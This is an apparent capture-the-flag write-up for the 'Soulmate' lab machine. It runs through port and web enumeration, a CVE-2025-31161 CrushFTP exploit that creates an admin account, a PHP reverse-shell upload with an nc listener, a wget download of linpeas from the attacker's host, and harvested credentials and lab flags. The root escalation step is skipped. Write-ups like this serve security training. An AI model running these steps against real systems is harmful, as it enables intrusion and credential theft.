Soulmate

External Enumeration

nmap -sC -sV -T4 10.129.65.43
nmap -p- 10.129.65.43

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
sudo nmap -A -sU --top-port 100 10.129.65.43

SSH (22) - No Anonymous Access

ssh anonymous@10.129.65.43

HTTP (80) - soulmate.htb

Directory - No Results

ffuf -u http://soulmate.htb/FUZZ -w /opt/useful/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -fc 403,404

assets               [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 32ms]

File Brute Force - No Results

ffuf -u http://soulmate.htb/FUZZ.php -w /usr/share/wordlists/dirb/big.txt

dashboard              [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 29ms]
index         [Status: 200, Size: 16688, Words: 6110, Lines: 306, Duration: 33ms]
login          [Status: 200, Size: 8554, Words: 3167, Lines: 178, Duration: 36ms]
logout                 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 38ms]
profile                [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 43ms]
register      [Status: 200, Size: 11107, Words: 4492, Lines: 238, Duration: 34ms]

Vhosts

ffuf -w /opt/useful/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://10.129.65.43 -H 'Host: FUZZ.soulmate.htb'

ftp                    [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 78ms]
  • Adding ftp.soulmate.htb to /etc/hosts
  • Website running CrushFTP webInterface

HTTP (80) - ftp.soulmate.htb

Directory - No Results

ffuf -u http://ftp.soulmate.htb/FUZZ -w /opt/useful/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -fc 403,404

File Brute Force - No Results

ffuf -u http://ftp.soulmate.htb/FUZZ.php -w /usr/share/wordlists/dirb/big.txt

Banners

curl -i http://ftp.soulmate.htb

Server: nginx/1.18.0 (Ubuntu)
Set-Cookie: currentAuth=mfUL; 
						path=/
Set-Cookie: CrushAuth=1768668935449_LWpNxugmuWsn9QqhsKJrU0WuJTmfUL; 
						path=/; HttpOnly
location: /WebInterface/login.html



curl -i ftp.soulmate.htb

Exploiting CrushFTP

  • CrushFTP is vulnerable to CVE-2025-31161
python3 CVE-2025-31161.py --target_host ftp.soulmate.htb --port 80 --target_user crushadmin --new_user hacker --password hacker123
  • Login with new credentials hacker:hacker123
  • Found users Jenna and Ben
  • Change Ben’s Password Username : ben Password : arf7Gf
  • Login as Ben, Upload shell to webprod/assets/images/profiles
  • Access shell from soulmate.htb
nc -nvlp 4444
http://soulmate.htb/assets/images/profiles/revShell.php

Shell as www-data

Stabilize Shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl + z
stty raw -echo; fg
stty rows 38 columns 116

Finding Web Config

www-data@soulmate:~/soulmate.htb/config$ cat config.php 
<?php
class Database {
    private $db_file = '../data/soulmate.db';
    private $pdo;

    public function __construct() {
        $this->connect();
        $this->createTables();
    }

    private function connect() {
        try {
            // Create data directory if it doesn't exist
            $dataDir = dirname($this->db_file);
            if (!is_dir($dataDir)) {
                mkdir($dataDir, 0755, true);
            }

            $this->pdo = new PDO('sqlite:' . $this->db_file);
            $this->pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
            $this->pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
        } catch (PDOException $e) {
            die("Connection failed: " . $e->getMessage());
        }
    }

    private function createTables() {
        $sql = "
        CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT UNIQUE NOT NULL,
            password TEXT NOT NULL,
            is_admin INTEGER DEFAULT 0,
            name TEXT,
            bio TEXT,
            interests TEXT,
            phone TEXT,
            profile_pic TEXT,
            last_login DATETIME,
            created_at DATETIME DEFAULT CURRENT_TIMESTAMP
        )";

        $this->pdo->exec($sql);

        // Create default admin user if not exists
        $adminCheck = $this->pdo->prepare("SELECT COUNT(*) FROM users WHERE username = ?");
        $adminCheck->execute(['admin']);
        
        if ($adminCheck->fetchColumn() == 0) {
            $adminPassword = password_hash('Crush4dmin990', PASSWORD_DEFAULT);
            $adminInsert = $this->pdo->prepare("
                INSERT INTO users (username, password, is_admin, name) 
                VALUES (?, ?, 1, 'Administrator')
            ");
            $adminInsert->execute(['admin', $adminPassword]);
        }
    }

    public function getConnection() {
        return $this->pdo;
    }
}

// Helper functions
function redirect($path) {
    header("Location: $path");
    exit();
}

function isLoggedIn() {
    return isset($_SESSION['user_id']);
}

function isAdmin() {
    return isset($_SESSION['is_admin']) && $_SESSION['is_admin'] == 1;
}

function requireLogin() {
    if (!isLoggedIn()) {
        redirect('/login');
    }
}

function requireAdmin() {
    requireLogin();
    if (!isAdmin()) {
        redirect('/profile');
    }
}
?>
  • Found Credentials:Admin:Crush4dmin990
  • Able to login to Soulmate Admin
  • Checking soulmate.db as well
1|admin|$2y$12$u0AC6fpQu0MJt7uJ80tM.Oh4lEmCMgvBs3PwNNZIR7lor05ING3v2|1|Administrator|||||2025-08-10 13:00:08|2025-08-10 12:59:39

Transfering LinPeas

python3 -m http.server
wget http://10.10.14.128:8000/linpeas.sh -o linpeas.sh
  • Found non-standard service running as root
root        1144  0.1  1.6 2252952 67504 ?       Ssl  17:34   0:05 /usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/bin -progname erl -- -home /root -- -noshell -boot no_dot_erlang -sname ssh_runner -run escript start -- -- -kernel inet_dist_use_interface {127,0,0,1} -- -extra /usr/local/lib/erlang_login/start.escript
  • The service starts a script start.escript
{user_passwords, [{"ben", "HouseH0ldings998"}]},
  • Find Credentials Ben:HouseH0ldings998
  • Able to SSH as Ben

SSH as Ben

cat user.txt
6edfd34f27d3e38b031f05c7317e75f8

Checking Permissions

ben@soulmate:~$ id
uid=1000(ben) gid=1000(ben) groups=1000(ben)
ben@soulmate:~$ sudo -l
[sudo] password for ben: 
Sorry, user ben may not run sudo on soulmate.

Checking Internal Ports

ben@soulmate:~$ nc -zv -w 1 127.0.0.1 1-5000 2>&1 | grep succeeded
Connection to 127.0.0.1 22 port [tcp/ssh] succeeded!
Connection to 127.0.0.1 80 port [tcp/http] succeeded!
Connection to 127.0.0.1 2222 port [tcp/*] succeeded!
Connection to 127.0.0.1 4369 port [tcp/epmd] succeeded!
ben@soulmate:~$ nc 127.0.0.1 2222
SSH-2.0-Erlang/5.2.9

Protocol mismatch.

Shell as Root

cat root.txt
bb87edbd65b0ef07c2e733275a5aab04